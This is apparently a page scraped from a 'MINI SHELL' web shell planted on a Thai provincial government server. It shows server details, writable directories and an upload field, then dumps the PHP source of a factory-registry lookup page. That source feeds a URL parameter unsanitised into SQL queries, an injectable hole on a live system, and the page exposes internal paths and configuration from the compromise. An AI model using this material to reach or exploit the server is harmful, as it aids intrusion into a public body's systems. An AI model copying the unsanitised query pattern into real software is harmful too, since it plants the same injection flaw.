MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/application/industry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/application/industry/ajax.industry.php
<?php
session_start() ; 
header("Content-Type: text/html; charset=windows-874"); 
include_once("../../config/config_epm.inc.php");

function showDate($value,$dot){
	if($dot=='dot'){
		if($value!='' && $value!='  /  /'){
				$Month = array("", "ม.ค.", "ก.พ.", "มี.ค.", "เม.ย.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค.");
				$day = explode("/",$value);
				$Y = $day[2];
				$m = $day[1];
				if($m<10){
					$m = str_replace("0","",$m);
				}
				$d = $day[0]*1;
				$date = $d.' '.$Month[$m].' '.($Y);
				//echo $date;
		}else{
				$date ='-';
		}
	}else if($dot=='sort'){
		if($value!='' && $value!='  /  /'){
				//$Month = array("", "ม.ค.", "ก.พ.", "มี.ค.", "เม.ย.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค.");
				$day = explode("/",$value);
				$Y = $day[0];
				$m = $day[1];
				$d = $day[2]*1;
				$date = $d.''.$m.''.$Y;
				//echo $date;
		}else{
				$date ='-';
		}
	}
		return $date;
}
?>

<?
    $sqlIndustry="	SELECT
										industry_register.type_id,
										industry_register.code,
										industry_register.fname,
										industry_register.gpsx,
										industry_register.gpsy,
										industry_register.location,
										industry_register.ampur,
										industry_register.tambol,
										industry_register.telephone,
										industry_register.job,
										industry_register.fact_class,
										industry_register.capital,
										industry_register.licen_fee,
										industry_register.year_fee,
										industry_register.import_status,
										industry_register.cease
								FROM		industry_register
								WHERE industry_register.code='".$_GET['code']."'
			";
	$rsIndustry=mysql_db_query($dbname,$sqlIndustry);
	$resIndustry=mysql_fetch_assoc($rsIndustry);
	
	$location=$resIndustry['location'].' '.$resIndustry['tambol'].' '.$resIndustry['ampur'].' จ.ปทุมธานี  โทร. '.$resIndustry['telephone'];
	
	$sqlType_1="	SELECT * FROM industry_type  WHERE type_id =  '".$resIndustry['type_id']."' 				";		// ประเภท
	$rsType_1=mysql_db_query($dbname,$sqlType_1);
	$resType_1=mysql_fetch_assoc($rsType_1);
	
	$sqlType_2="	SELECT * FROM industry_type  WHERE runid =  '".$resType_1['parent_id']."' 				";   		//หมวด
	$rsType_2=mysql_db_query($dbname,$sqlType_2);
	$resType_2=mysql_fetch_assoc($rsType_2);
	
	$sizeIndustry='';
	if($resIndustry['capital']<10000000){
			$sizeIndustry=' ขนาดเล็ก (เงินทุน '.number_format(($resIndustry['capital']/1000000),2).' ล้านบาท)';
	}else if($resIndustry['capital']>=10000000 && $resIndustry['capital']<=100000000){
			$sizeIndustry=' ขนาดกลาง (เงินทุน '.number_format(($resIndustry['capital']/1000000),2).' ล้านบาท)';
	}else if($resIndustry['capital']>100000000){
			$sizeIndustry=' ขนาดใหญ่ (เงินทุน '.number_format(($resIndustry['capital']/1000000),2).' ล้านบาท)';
	}
	
	$import='';
	if($resIndustry['import_status']=='1'){
				$import=' การนำเข้าข้อมูลจากการ key';
	}else if($resIndustry['import_status']=='2'){
				$import=' การนำเข้าข้อมูลจากการ import file XML';
	}else if($resIndustry['import_status']=='3'){
				$import=' การนำเข้าข้อมูลจากการ import file EXCEL';
	}else if($resIndustry['import_status']=='4'){
				$import=' การนำเข้าข้อมูลโรงงานที่เลิกกิจการ';
	}
	?>
<table width="450" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td align="right">&nbsp;</td>
    <td align="right">&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td width="1%" align="left">&nbsp;</td>
    <td width="29%" align="right" valign="top"><strong>เลขทะเบียนโรงงาน:</strong>&nbsp;</td>
    <td width="42%" valign="top"><?=$resIndustry['code']?></td>
  </tr>
  <tr>
    <td align="left">&nbsp;</td>
    <td align="right" valign="top"><strong>ชื่อโรงงานอุตสาหกรรม:</strong>&nbsp;</td>
    <td valign="top"><?=$resIndustry['fname']?></td>
  </tr>
  <tr>
    <td align="right">&nbsp;</td>
    <td align="right" valign="top"><strong>ที่ตั้ง:</strong>&nbsp;</td>
    <td valign="top"><?=$location?></td>
  </tr>
  <tr>
    <td align="left">&nbsp;</td>
    <td align="right" valign="top"><strong>ตำแหน่งพิกัด:</strong>&nbsp;</td>
    <td valign="top"> จุดพิกัดแกน x : <?=$resIndustry['gpsx']?><br /> จุดพิกัดแกน y : <?=$resIndustry['gpsy']?></td>
  </tr>
  <tr>
    <td align="left">&nbsp;</td>
    <td align="right" valign="top"><strong>ประกอบกิจการ:</strong>&nbsp;</td>
    <td valign="top"><?=$resIndustry['job']?></td>
  </tr>
  <tr>
    <td align="left">&nbsp;</td>
    <td align="right" valign="top"><strong>หมวดโรงงานอุตสาหกรรม:</strong>&nbsp;</td>
    <td valign="top"><?=$resType_2['type_name']?></td>
  </tr>
  <tr>
    <td align="left">&nbsp;</td>
    <td align="right" valign="top"><strong>ประเภทโรงงานอุตสาหกรรม:</strong>&nbsp;</td>
    <td valign="top"><?=$resType_1['type_name']?></td>
  </tr>
  <tr>
    <td valign="top"></td>
    <td align="right" valign="top"><strong>จำพวกโรงงานอุตสาหกรรม:</strong>&nbsp;</td>    
    <td valign="top"><?=$resIndustry['fact_class']?></td>
  </tr>
  <tr>
    <td valign="top"></td>
    <td align="right" valign="top"><strong>ขนาดของโรงงานอุตสาหกรรม:</strong>&nbsp;</td>    
    <td valign="top"><?=$sizeIndustry?></td>
  </tr>
  <tr>
    <td valign="top"></td>
    <td align="right" valign="top"><strong>ค่าธรรมเนียมใบอนุญาต:</strong>&nbsp;</td>
    <td valign="top"><?=number_format($resIndustry['licen_fee'],2)?> บาท</td>
  </tr>
  <tr>
    <td valign="top"></td>
    <td align="right" valign="top"><strong>ค่าธรรมเนียมรายปี:</strong>&nbsp;</td>
    <td valign="top"><?=number_format($resIndustry['year_fee'],2)?> บาท</td>
  </tr>
  <tr>
    <td valign="top"></td>
    <td align="right" valign="top"><strong>แหล่งข้อมูล:</strong>&nbsp;</td>
    <td valign="top"><?=$import?></td>
  </tr>
  <?
  if($resIndustry['import_status']=='4'){
  ?>
  <tr>
    <td valign="top"></td>
    <td align="right" valign="top"><strong>วันที่เลิกกิจการ:</strong>&nbsp;</td>
    <td valign="top"><?=showDate($resIndustry['cease'],'dot')?></td>
  </tr>
  <? }?>
 <?php /*?> <tr>
    <td colspan="2">
      <DIV style="background-color:#EEEEEE; padding:5px; border:#CCCCCC 1px solid; margin:2px;">
        <?php
	echo "<pre>";
	print_r($_GET);
	echo "</pre>";
	?>
      </DIV>
</td>
  </tr><?php */?>
</table>

Anon7 - 2021